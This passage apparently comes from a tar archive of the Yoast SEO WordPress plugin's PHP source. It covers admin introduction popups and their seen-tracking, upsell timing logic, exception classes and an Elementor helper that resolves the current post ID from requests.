	 * Holds the short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $short_link_helper;

	/**
	 * Holds the repository.
	 *
	 * @var Wistia_Embed_Permission_Repository
	 */
	private $wistia_embed_permission_repository;

	/**
	 * Holds the WooCommerce conditional.
	 *
	 * @var WooCommerce_Conditional
	 */
	private $woocommerce_conditional;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Constructs the integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager          $admin_asset_manager                The admin asset manager.
	 * @param Introductions_Collector            $introductions_collector            The introductions' collector.
	 * @param Product_Helper                     $product_helper                     The product helper.
	 * @param User_Helper                        $user_helper                        The user helper.
	 * @param Short_Link_Helper                  $short_link_helper                  The short link helper.
	 * @param Wistia_Embed_Permission_Repository $wistia_embed_permission_repository The repository.
	 * @param WooCommerce_Conditional            $woocommerce_conditional            The WooCommerce conditional.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Introductions_Collector $introductions_collector,
		Product_Helper $product_helper,
		User_Helper $user_helper,
		Short_Link_Helper $short_link_helper,
		Wistia_Embed_Permission_Repository $wistia_embed_permission_repository,
		WooCommerce_Conditional $woocommerce_conditional
	) {
		$this->admin_asset_manager                = $admin_asset_manager;
		$this->introductions_collector            = $introductions_collector;
		$this->product_helper                     = $product_helper;
		$this->user_helper                        = $user_helper;
		$this->short_link_helper                  = $short_link_helper;
		$this->wistia_embed_permission_repository = $wistia_embed_permission_repository;
		$this->woocommerce_conditional            = $woocommerce_conditional;
	}

	/**
	 * Registers the action to enqueue the needed script(s).
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->is_on_installation_page() ) {
			return;
		}
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Enqueue the new features assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		$user_id = $this->user_helper->get_current_user_id();
		$this->update_metadata_for( $user_id );
		$introductions = $this->introductions_collector->get_for( $user_id );

		if ( ! $introductions ) {
			// Bail when there are no introductions to show.
			return;
		}
		// Update user meta to have "seen" these introductions.
		$this->update_user_introductions( $user_id, $introductions );

		$this->admin_asset_manager->enqueue_script( self::SCRIPT_HANDLE );
		$this->admin_asset_manager->localize_script(
			self::SCRIPT_HANDLE,
			'wpseoIntroductions',
			[
				'introductions'         => $introductions,
				'isPremium'             => $this->product_helper->is_premium(),
				'isRtl'                 => \is_rtl(),
				'linkParams'            => $this->short_link_helper->get_query_params(),
				'pluginUrl'             => \plugins_url( '', \WPSEO_FILE ),
				'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( $user_id ),
				'isWooEnabled'          => $this->woocommerce_conditional->is_met(),
			]
		);
		$this->admin_asset_manager->enqueue_style( 'introductions' );
	}

	/**
	 * Updates the user metadata to have "seen" the introductions.
	 *
	 * @param int   $user_id       The user ID.
	 * @param array $introductions The introductions.
	 *
	 * @return void
	 */
	private function update_user_introductions( $user_id, $introductions ) {
		$metadata = $this->user_helper->get_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, true );
		if ( ! \is_array( $metadata ) ) {
			$metadata = [];
		}

		if ( empty( $introductions ) || ! \is_array( $introductions ) ) {
			return;
		}

		// Find the introduction with the highest priority, because JS will only show that one.
		$highest_priority_intro = \array_reduce(
			$introductions,
			static function ( $carry, $item ) {
				return ( $carry === null || $item['priority'] < $carry['priority'] ) ? $item : $carry;
			},
			null
		);

		if ( $highest_priority_intro === null ) {
			return;
		}

		// Mark the introduction with the highest priority as seen.
		$metadata[ $highest_priority_intro['id'] ]['is_seen'] = true;
		$metadata[ $highest_priority_intro['id'] ]['seen_on'] = \time();

		$this->user_helper->update_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, $metadata );
	}

	/**
	 * Updates the introductions metadata format for the user
	 * This is needed because we're introducing timestamps for introductions that have been seen, thus changing the format.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	private function update_metadata_for( int $user_id ) {
		$metadata = $this->introductions_collector->get_metadata( $user_id );
		foreach ( $metadata as $introduction_name => $introduction_data ) {
			if ( \is_bool( $introduction_data ) ) {
				$metadata[ $introduction_name ] = [
					'is_seen' => $introduction_data,
					'seen_on' => ( $introduction_data === true ) ? \time() : 0,
				];
			}
		}
		$this->user_helper->update_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, $metadata );
	}
}
introductions/infrastructure/introductions-seen-repository.php000066600000007362152204306270021327 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Infrastructure;

use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Introductions\Domain\Invalid_User_Id_Exception;

/**
 * Stores and retrieves whether the user has seen certain introductions.
 */
class Introductions_Seen_Repository {

	public const USER_META_KEY = '_yoast_wpseo_introductions';

	public const DEFAULT_VALUE = [];

	/**
	 * Holds the User_Helper instance.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Constructs the class.
	 *
	 * @param User_Helper $user_helper The User_Helper.
	 */
	public function __construct( User_Helper $user_helper ) {
		$this->user_helper = $user_helper;
	}

	/**
	 * Retrieves the introductions.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return array The introductions.
	 *
	 * @throws Invalid_User_Id_Exception If an invalid user ID is supplied.
	 */
	public function get_all_introductions( $user_id ): array {
		$seen_introductions = $this->user_helper->get_meta( $user_id, self::USER_META_KEY, true );
		if ( $seen_introductions === false ) {
			throw new Invalid_User_Id_Exception();
		}

		if ( \is_array( $seen_introductions ) ) {
			return $seen_introductions;
		}

		/**
		 * Why could $value be invalid?
		 * - When the database row does not exist yet, $value can be an empty string.
		 * - Faulty data was stored?
		 */
		return self::DEFAULT_VALUE;
	}

	/**
	 * Sets the introductions.
	 *
	 * @param int   $user_id       The user ID.
	 * @param array $introductions The introductions.
	 *
	 * @return bool True on successful update, false on failure or if the value passed to the function is the same as
	 *              the one that is already in the database.
	 */
	public function set_all_introductions( $user_id, array $introductions ): bool {
		return $this->user_helper->update_meta( $user_id, self::USER_META_KEY, $introductions ) !== false;
	}

	/**
	 * Retrieves whether an introduction is seen.
	 *
	 * @param int    $user_id         User ID.
	 * @param string $introduction_id The introduction ID.
	 *
	 * @return bool Whether the introduction is seen.
	 *
	 * @throws Invalid_User_Id_Exception If an invalid user ID is supplied.
	 */
	public function is_introduction_seen( $user_id, string $introduction_id ): bool {
		$introductions = $this->get_all_introductions( $user_id );

		if ( \array_key_exists( $introduction_id, $introductions ) ) {
			if ( \is_array( $introductions[ $introduction_id ] ) ) {
				return (bool) $introductions[ $introduction_id ]['is_seen'];
			}
			else {
				return (bool) $introductions[ $introduction_id ];
			}
		}

		return false;
	}

	/**
	 * Sets the introduction as seen.
	 *
	 * @param int    $user_id         The user ID.
	 * @param string $introduction_id The introduction ID.
	 * @param bool   $is_seen         Whether the introduction is seen. Defaults to true.
	 *
	 * @return bool False on failure. Not having to update is a success.
	 *
	 * @throws Invalid_User_Id_Exception If an invalid user ID is supplied.
	 */
	public function set_introduction( $user_id, string $introduction_id, bool $is_seen = true ): bool {
		$introductions = $this->get_all_introductions( $user_id );

		// Check if the wanted value is already set.
		if ( \array_key_exists( $introduction_id, $introductions ) ) {
			if ( \is_array( $introductions[ $introduction_id ] ) ) {
				// New format with seen_on timestamp.
				if ( $introductions[ $introduction_id ]['is_seen'] === $is_seen ) {
					return true;
				}
			}
				// Old format with just a boolean.
			elseif ( $introductions[ $introduction_id ] === $is_seen ) {
					return true;
			}
		}

		// If not, set it.
		$introductions[ $introduction_id ] = [
			'is_seen' => $is_seen,
			'seen_on' => ( $is_seen === true ) ? \time() : 0,
		];

		return $this->set_all_introductions( $user_id, $introductions );
	}
}
introductions/domain/introductions-bucket.php000066600000001537152204306270015622 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

/**
 * A collection domain object.
 */
class Introductions_Bucket {

	/**
	 * Holds the introductions.
	 *
	 * @var Introduction_Item[]
	 */
	private $introductions;

	/**
	 * The constructor.
	 */
	public function __construct() {
		$this->introductions = [];
	}

	/**
	 * Adds an introduction to this bucket.
	 *
	 * @param Introduction_Item $introduction The introduction.
	 *
	 * @return void
	 */
	public function add_introduction( Introduction_Item $introduction ) {
		$this->introductions[] = $introduction;
	}

	/**
	 * Returns the array representation of the introductions.
	 *
	 * @return array
	 */
	public function to_array() {
		// No sorting here because that is done in JS.
		return \array_map(
			static function ( $item ) {
				return $item->to_array();
			},
			$this->introductions
		);
	}
}
introductions/domain/introduction-item.php000066600000001745152204306270015121 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

/**
 * Domain object that holds introduction information.
 */
class Introduction_Item {

	/**
	 * The ID.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * The priority.
	 *
	 * @var int
	 */
	private $priority;

	/**
	 * Constructs the instance.
	 *
	 * @param string $id       The ID.
	 * @param int    $priority The priority.
	 */
	public function __construct( $id, $priority ) {
		$this->id       = $id;
		$this->priority = $priority;
	}

	/**
	 * Returns an array representation of the data.
	 *
	 * @return array Returns in an array format.
	 */
	public function to_array() {
		return [
			'id'       => $this->get_id(),
			'priority' => $this->get_priority(),
		];
	}

	/**
	 * Returns the ID.
	 *
	 * @return string
	 */
	public function get_id() {
		return $this->id;
	}

	/**
	 * Returns the requested pagination priority. Higher means earlier.
	 *
	 * @return int
	 */
	public function get_priority() {
		return $this->priority;
	}
}
introductions/domain/introduction-interface.php000066600000001126152204306270016114 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

/**
 * Represents an introduction.
 */
interface Introduction_Interface {

	/**
	 * Returns the ID.
	 *
	 * @return string
	 */
	public function get_id();

	/**
	 * Returns the unique name.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return string
	 */
	public function get_name();

	/**
	 * Returns the requested pagination priority. Lower means earlier.
	 *
	 * @return int
	 */
	public function get_priority();

	/**
	 * Returns whether this introduction should show.
	 *
	 * @return bool
	 */
	public function should_show();
}
introductions/application/black-friday-announcement.php000066600000004200152204306270017505 0ustar00<?php


namespace Yoast\WP\SEO\Introductions\Application;

use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Introductions\Domain\Introduction_Interface;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Represents the introduction for the Black Friday announcement.
 */
class Black_Friday_Announcement implements Introduction_Interface {

	public const ID = 'black-friday-announcement';

	/**
	 * Holds the current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the promotion manager.
	 *
	 * @var Promotion_Manager
	 */
	private $promotion_manager;

	/**
	 * Holds the product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Constructs the introduction.
	 *
	 * @param Current_Page_Helper $current_page_helper The current page helper.
	 * @param Promotion_Manager   $promotion_manager   The promotion manager.
	 * @param Product_Helper      $product_helper      The product helper.
	 */
	public function __construct(
		Current_Page_Helper $current_page_helper,
		Promotion_Manager $promotion_manager,
		Product_Helper $product_helper
	) {
		$this->current_page_helper = $current_page_helper;
		$this->promotion_manager   = $promotion_manager;
		$this->product_helper      = $product_helper;
	}

	/**
	 * Returns the ID.
	 *
	 * @return string The ID.
	 */
	public function get_id() {
		return self::ID;
	}

	/**
	 * Returns the name of the introduction.
	 *
	 * @return string The name.
	 */
	public function get_name() {
		\_deprecated_function( __METHOD__, 'Yoast SEO Premium 21.6', 'Please use get_id() instead' );

		return self::ID;
	}

	/**
	 * Returns the requested pagination priority. Lower means earlier.
	 *
	 * @return int The priority.
	 */
	public function get_priority() {
		return 10;
	}

	/**
	 * Returns whether this introduction should show.
	 *
	 * @return bool Whether this introduction should show.
	 */
	public function should_show() {
		return $this->current_page_helper->is_yoast_seo_page() && ! $this->product_helper->is_premium() && $this->promotion_manager->is( 'black-friday-promotion' );
	}
}
introductions/application/version-trait.php000066600000001141152204306270015274 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Application;

trait Version_Trait {

	/**
	 * Determines whether the version is between a min (inclusive) and max (exclusive).
	 *
	 * @param string $version     The version to compare.
	 * @param string $min_version The minimum version.
	 * @param string $max_version The maximum version.
	 *
	 * @return bool Whether the version is between a min and max.
	 */
	private function is_version_between( $version, $min_version, $max_version ) {
		return ( \version_compare( $version, $min_version, '>=' )
			&& \version_compare( $version, $max_version, '<' )
		);
	}
}
introductions/application/introductions-collector.php000066600000006757152204306270017400 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Application;

use Yoast\WP\SEO\Introductions\Domain\Introduction_Interface;
use Yoast\WP\SEO\Introductions\Domain\Introduction_Item;
use Yoast\WP\SEO\Introductions\Domain\Introductions_Bucket;
use Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository;

/**
 * Manages the collection of introductions.
 */
class Introductions_Collector {

	/**
	 * Holds all the introductions.
	 *
	 * @var Introduction_Interface[]
	 */
	private $introductions;

	/**
	 * Constructs the collector.
	 *
	 * @param Introduction_Interface ...$introductions All the introductions.
	 */
	public function __construct( Introduction_Interface ...$introductions ) {
		$this->introductions = $this->add_introductions( ...$introductions );
	}

	/**
	 * Gets the data for the introductions.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return array The list of introductions.
	 */
	public function get_for( $user_id ) {
		$bucket   = new Introductions_Bucket();
		$metadata = $this->get_metadata( $user_id );

		foreach ( $this->introductions as $introduction ) {
			if ( ! $introduction->should_show() ) {
				continue;
			}
			if ( $this->is_seen( $introduction->get_id(), $metadata ) ) {
				continue;
			}
			$bucket->add_introduction(
				new Introduction_Item( $introduction->get_id(), $introduction->get_priority() )
			);
		}

		return $bucket->to_array();
	}

	/**
	 * Filters introductions with the 'wpseo_introductions' filter.
	 *
	 * @param Introduction_Interface ...$introductions The introductions.
	 *
	 * @return Introduction_Interface[]
	 */
	private function add_introductions( Introduction_Interface ...$introductions ) {
		/**
		 * Filter: Adds the possibility to add additional introductions to be included.
		 *
		 * @internal
		 *
		 * @param Introduction_Interface $introductions This filter expects a list of Introduction_Interface instances and
		 *                                              expects only Introduction_Interface implementations to be added to the list.
		 */
		$filtered_introductions = (array) \apply_filters( 'wpseo_introductions', $introductions );

		return \array_filter(
			$filtered_introductions,
			static function ( $introduction ) {
				return \is_a( $introduction, Introduction_Interface::class );
			}
		);
	}

	/**
	 * Retrieves the introductions metadata for the user.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return array The introductions' metadata.
	 */
	public function get_metadata( $user_id ) {
		$metadata = \get_user_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, true );
		if ( \is_array( $metadata ) ) {
			return $metadata;
		}

		return [];
	}

	/**
	 * Determines whether the user has seen the introduction.
	 *
	 * @param string   $name     The name.
	 * @param string[] $metadata The metadata.
	 *
	 * @return bool Whether the user has seen the introduction.
	 */
	private function is_seen( $name, $metadata ) {
		if ( \array_key_exists( $name, $metadata ) ) {
			if ( \is_array( $metadata[ $name ] ) ) {
				return (bool) ( $metadata[ $name ]['is_seen'] );
			}
			return (bool) $metadata[ $name ];
		}

		return false;
	}

	/**
	 * Checks if the given introduction ID is a known ID to the system.
	 *
	 * @param string $introduction_id The introduction ID to check.
	 *
	 * @return bool
	 */
	public function is_available_introduction( string $introduction_id ): bool {
		foreach ( $this->introductions as $introduction ) {
			if ( $introduction->get_id() === $introduction_id ) {
				return true;
			}
		}
		return false;
	}
}
introductions/application/delayed-premium-upsell.php000066600000012251152204306270017057 0ustar00<?php


namespace Yoast\WP\SEO\Introductions\Application;

use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Introductions\Domain\Introduction_Interface;
use Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository;

/**
 * Represents the Premium upsell that shows on Yoast SEO pages after a delay.
 */
class Delayed_Premium_Upsell implements Introduction_Interface {

	public const ID         = 'delayed-premium-upsell';
	public const DELAY_DAYS = 14;

	/**
	 * Holds the repository.
	 *
	 * @var Introductions_Seen_Repository
	 */
	private $introductions_seen_repository;

	/**
	 * Holds the product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Delayed_Premium_Upsell constructor.
	 *
	 * @param Current_Page_Helper           $current_page_helper           The current page helper.
	 * @param Introductions_Seen_Repository $introductions_seen_repository The introductions seen repository.
	 * @param Options_Helper                $options_helper                The options helper.
	 * @param Product_Helper                $product_helper                The product helper.
	 */
	public function __construct( Current_Page_Helper $current_page_helper, Introductions_Seen_Repository $introductions_seen_repository, Options_Helper $options_helper, Product_Helper $product_helper ) {
		$this->current_page_helper           = $current_page_helper;
		$this->introductions_seen_repository = $introductions_seen_repository;
		$this->options_helper                = $options_helper;
		$this->product_helper                = $product_helper;
	}

	/**
	 * Returns the ID.
	 *
	 * @return string The ID.
	 */
	public function get_id(): string {
		return self::ID;
	}

	/**
	 * Returns the name of the introduction.
	 *
	 * @return string The name.
	 */
	public function get_name(): string {
		\_deprecated_function( __METHOD__, 'Yoast SEO Premium 21.6', 'Please use get_id() instead' );

		return self::ID;
	}

	/**
	 * Returns the requested pagination priority. Lower means earlier.
	 *
	 * @return int The priority.
	 */
	public function get_priority(): int {
		return 30;
	}

	/**
	 * Returns whether this introduction should show.
	 *
	 * @return bool Whether this introduction should show.
	 */
	public function should_show(): bool {
		// Never show when not on a Yoast SEO page or when the user has Premium activated.
		if ( ! $this->current_page_helper->is_yoast_seo_page() || $this->product_helper->is_premium() ) {
			return false;
		}

		return $this->should_show_after_delay();
	}

	/**
	 * Determines if the introduction should show based on the self:DELAY_DAY delay from installation or update.
	 *
	 * @return bool Whether the introduction should show after the delay.
	 */
	private function should_show_after_delay(): bool {
		$delay              = ( self::DELAY_DAYS * \DAY_IN_SECONDS );
		$current_time       = \time();
		$previous_version   = $this->options_helper->get( 'previous_version' );
		$first_activated_on = $this->options_helper->get( 'first_activated_on' );

		// Case where the user has installed the plugin for the first time and the delay has passed.
		if ( $previous_version === '' ) {
			return ( $current_time - $first_activated_on ) >= $delay && $this->is_last_introduction_seen_older_than_a_week();
		}

		// Case where the user has updated the plugin and the delay has passed since the last update.
		$last_updated_on = $this->options_helper->get( 'last_updated_on' );

		$uniform_last_updated_on = \is_int( $last_updated_on ) ? $last_updated_on : 0;
		if ( ( $current_time - $uniform_last_updated_on ) >= $delay ) {
			return $this->is_last_introduction_seen_older_than_a_week();
		}

		return false;
	}

	/**
	 * Checks if the last introduction seen is older than a week.
	 *
	 * @return bool True if the last introduction seen is older than a week, false otherwise.
	 */
	private function is_last_introduction_seen_older_than_a_week(): bool {
		$seen_introductions = $this->introductions_seen_repository->get_all_introductions( \get_current_user_id() );
		// No other introduction has been seen.
		if ( empty( $seen_introductions ) ) {
			return true;
		}

		$old_format_introductions = \array_filter(
			$seen_introductions,
			static function ( $item ) {
				return \is_bool( $item );
			}
		);

		if ( ! empty( $old_format_introductions ) ) {
			// There are introductions in the old format, so we cannot determine when they were seen.
			// To be safe, we assume the user has seen an introduction recently.
			return false;
		}

		// Find the most recent introduction seen.
		$most_recent_introduction = \array_reduce(
			$seen_introductions,
			static function ( $carry, $item ) {
				if ( $carry === null || $item['seen_on'] > $carry['seen_on'] ) {
					return $item;
				}
				return $carry;
			}
		);

		// If the most recent introduction seen is older than a week, return true.
		if ( ( \time() - $most_recent_introduction['seen_on'] ) >= ( 7 * \DAY_IN_SECONDS ) ) {
			return true;
		}

		return false;
	}
}
exceptions/addon-installation/user-cannot-install-plugins-exception.php000066600000000306152204306270022603 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class User_Cannot_Install_Plugins_Exception
 */
class User_Cannot_Install_Plugins_Exception extends Exception {}
exceptions/addon-installation/addon-installation-error-exception.php000066600000000266152204306270022142 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class Addon_Installation_Error
 */
class Addon_Installation_Error_Exception extends Exception {}
exceptions/importing/aioseo-validation-exception.php000066600000000653152204306270017062 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Importing;

use Exception;

/**
 * Class Aioseo_Validation_Exception
 */
class Aioseo_Validation_Exception extends Exception {

	/**
	 * Exception that is thrown whenever validation of the
	 * AIOSEO data structure has failed.
	 */
	public function __construct() {
		parent::__construct( \esc_html__( 'The validation of the AIOSEO data structure has failed.', 'wordpress-seo' ) );
	}
}
exceptions/oauth/authentication-failed-exception.php000066600000001340152204306270017016 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\OAuth;

use Exception;

/**
 * Class Authentication_Failed_Exception
 */
class Authentication_Failed_Exception extends Exception {

	/**
	 * Authentication_Failed_Exception constructor.
	 *
	 * @param Exception $original_exception The original exception.
	 */
	public function __construct( Exception $original_exception ) {
		parent::__construct( 'Authentication failed', 401, $original_exception );
	}

	/**
	 * Returns a formatted response object.
	 *
	 * @return object The response object.
	 */
	public function get_response() {
		return (object) [
			'tokens' => [],
			'error'  => $this->getMessage() . ': ' . $this->getPrevious()->getMessage(),
			'status' => $this->getCode(),
		];
	}
}
exceptions/indexable/indexable-exception.php000066600000000244152204306270015325 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

use Exception;

/**
 * Class Indexable_Exception
 */
abstract class Indexable_Exception extends Exception {

}
exceptions/indexable/author-not-built-exception.php000066600000003141152204306270016606 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * For when an author indexable is not being built.
 */
class Author_Not_Built_Exception extends Not_Built_Exception {

	/**
	 * Named constructor for creating an Author_Not_Built_Exception
	 * when author archives are disabled for users without posts.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception The exception.
	 */
	public static function author_archives_are_not_indexed_for_users_without_posts( $user_id ) {
		return new self(
			'Indexable for author with id ' . $user_id . ' is not being built, since author archives are not indexed for users without posts.'
		);
	}

	/**
	 * Named constructor for creating an Author_Not_Built_Exception
	 * when author archives are disabled.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception The exception.
	 */
	public static function author_archives_are_disabled( $user_id ) {
		return new self(
			'Indexable for author with id ' . $user_id . ' is not being built, since author archives are disabled.'
		);
	}

	/**
	 * Named constructor for creating an Author_Not_Build_Exception
	 * when an author is excluded because of the `'wpseo_should_build_and_save_user_indexable'` filter.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception The exception.
	 */
	public static function author_not_built_because_of_filter( $user_id ) {
		return new self(
			'Indexable for author with id ' . $user_id . ' is not being built, since it is excluded because of the \'wpseo_should_build_and_save_user_indexable\' filter.'
		);
	}
}
exceptions/indexable/post-type-not-built-exception.php000066600000001232152204306270017247 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that is thrown whenever a post type could not be built
 * in the context of the indexables.
 */
class Post_Type_Not_Built_Exception extends Not_Built_Exception {

	/**
	 * Throws an exception if the post is not indexable.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return Post_Type_Not_Built_Exception
	 */
	public static function because_not_indexable( $post_type ) {
		/* translators: %s: expands to the post type */
		return new self( \sprintf( \__( 'The post type %s could not be indexed because it does not meet indexing requirements.', 'wordpress-seo' ), $post_type ) );
	}
}
exceptions/indexable/source-exception.php000066600000000231152204306270014666 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Class Indexable_Source_Exception
 */
class Source_Exception extends Indexable_Exception {

}
exceptions/forbidden-property-mutation-exception.php000066600000002232152204306270017112 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions;

use RuntimeException;

/**
 * Exception for attempting a mutation on properties that are made readonly through magic getters and setters.
 */
class Forbidden_Property_Mutation_Exception extends RuntimeException {

	/**
	 * Creates a Forbidden_Property_Mutation_Exception exception when an attempt is made
	 * to assign a value to an immutable property.
	 *
	 * @param string $property_name The name of the immutable property.
	 *
	 * @return Forbidden_Property_Mutation_Exception The exception.
	 */
	public static function cannot_set_because_property_is_immutable( $property_name ) {
		return new self( \sprintf( 'Setting property $%s is not supported.', $property_name ) );
	}

	/**
	 * Creates a Forbidden_Property_Mutation_Exception exception when an attempt is made to unset an immutable property.
	 *
	 * @param string $property_name The name of the immutable property.
	 *
	 * @return Forbidden_Property_Mutation_Exception The exception.
	 */
	public static function cannot_unset_because_property_is_immutable( $property_name ) {
		return new self( \sprintf( 'Unsetting property $%s is not supported.', $property_name ) );
	}
}
elementor/infrastructure/request-post.php000066600000011161152204306270015007 0ustar00<?php

namespace Yoast\WP\SEO\Elementor\Infrastructure;

use WP_Post;

/**
 * Retrieve the WP_Post from the request.
 */
class Request_Post {

	/**
	 * Retrieves the WP_Post, applicable to the current request.
	 *
	 * @return WP_Post|null
	 */
	public function get_post(): ?WP_Post {
		return \get_post( $this->get_post_id() );
	}

	/**
	 * Retrieves the post ID, applicable to the current request.
	 *
	 * @return int|null The post ID.
	 */
	public function get_post_id(): ?int {
		switch ( $this->get_server_request_method() ) {
			case 'GET':
				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
				if ( isset( $_GET['post'] ) && \is_numeric( $_GET['post'] ) ) {
					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
					return (int) \wp_unslash( $_GET['post'] );
				}

				break;
			case 'POST':
				// Only allow POST requests when doing AJAX.
				if ( ! \wp_doing_ajax() ) {
					break;
				}

				switch ( $this->get_post_action() ) {
					// Our Yoast SEO form submission, it should include `post_id`.
					case 'wpseo_elementor_save':
						// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
						if ( isset( $_POST['post_id'] ) && \is_numeric( $_POST['post_id'] ) ) {
							// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
							return (int) \wp_unslash( $_POST['post_id'] );
						}

						break;
					// Elementor editor AJAX request.
					case 'elementor_ajax':
						return $this->get_document_id();
				}

				break;
		}

		return null;
	}

	/**
	 * Returns the server request method.
	 *
	 * @return string|null The server request method, in upper case.
	 */
	private function get_server_request_method(): ?string {
		if ( ! isset( $_SERVER['REQUEST_METHOD'] ) ) {
			return null;
		}

		if ( ! \is_string( $_SERVER['REQUEST_METHOD'] ) ) {
			return null;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing it later.
		return \strtoupper( \wp_unslash( $_SERVER['REQUEST_METHOD'] ) );
	}

	/**
	 * Retrieves the action from the POST request.
	 *
	 * @return string|null The action or null if not found.
	 */
	private function get_post_action(): ?string {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
			return (string) \wp_unslash( $_POST['action'] );
		}

		return null;
	}

	/**
	 * Retrieves the document ID from the POST request.
	 *
	 * Note: this is specific to Elementor' `elementor_ajax` action. And then the `get_document_config` internal action.
	 * Currently, you can see this in play when:
	 * - showing the Site Settings in the Elementor editor
	 * - going to another Recent post/page in the Elementor editor V2
	 *
	 * @return int|null The document ID or null if not found.
	 */
	private function get_document_id(): ?int {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( ! ( isset( $_POST['actions'] ) && \is_string( $_POST['actions'] ) ) ) {
			return null;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer (after JSON decode and type/exist checks),We are not processing form information.
		$actions = \json_decode( \wp_unslash( $_POST['actions'] ), true );
		if ( ! \is_array( $actions ) ) {
			return null;
		}

		// Elementor sends everything in a `document-{ID}` format.
		$action = \array_shift( $actions );
		if ( $action === null ) {
			return null;
		}

		// There are multiple action types. We only care about the "get_document_config" one.
		if ( ! ( isset( $action['action'] ) && $action['action'] === 'get_document_config' ) ) {
			return null;
		}

		// Return the ID from the data, if it is set and numeric.
		if ( isset( $action['data']['id'] ) && \is_numeric( $action['data']['id'] ) ) {
			return (int) $action['data']['id'];
		}

		return null;
	}
}
helpers/twitter/image-helper.php000066600000002312152204306270012763 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Twitter;

use Yoast\WP\SEO\Helpers\Image_Helper as Base_Image_Helper;

/**
 * A helper object for Twitter images.
 */
class Image_Helper {

	/**
	 * The base image helper.
	 *
	 * @var Base_Image_Helper
	 */
	private $image;

	/**
	 * Image_Helper constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Base_Image_Helper $image The image helper.
	 */
	public function __construct( Base_Image_Helper $image ) {
		$this->image = $image;
	}

	/**
	 * The image size to use for Twitter.
	 *
	 * @return string Image size string.
	 */
	public function get_image_size() {
		/**
		 * Filter: 'wpseo_twitter_image_size' - Allow changing the Twitter Card image size.
		 *
		 * @param string $featured_img Image size string.
		 */
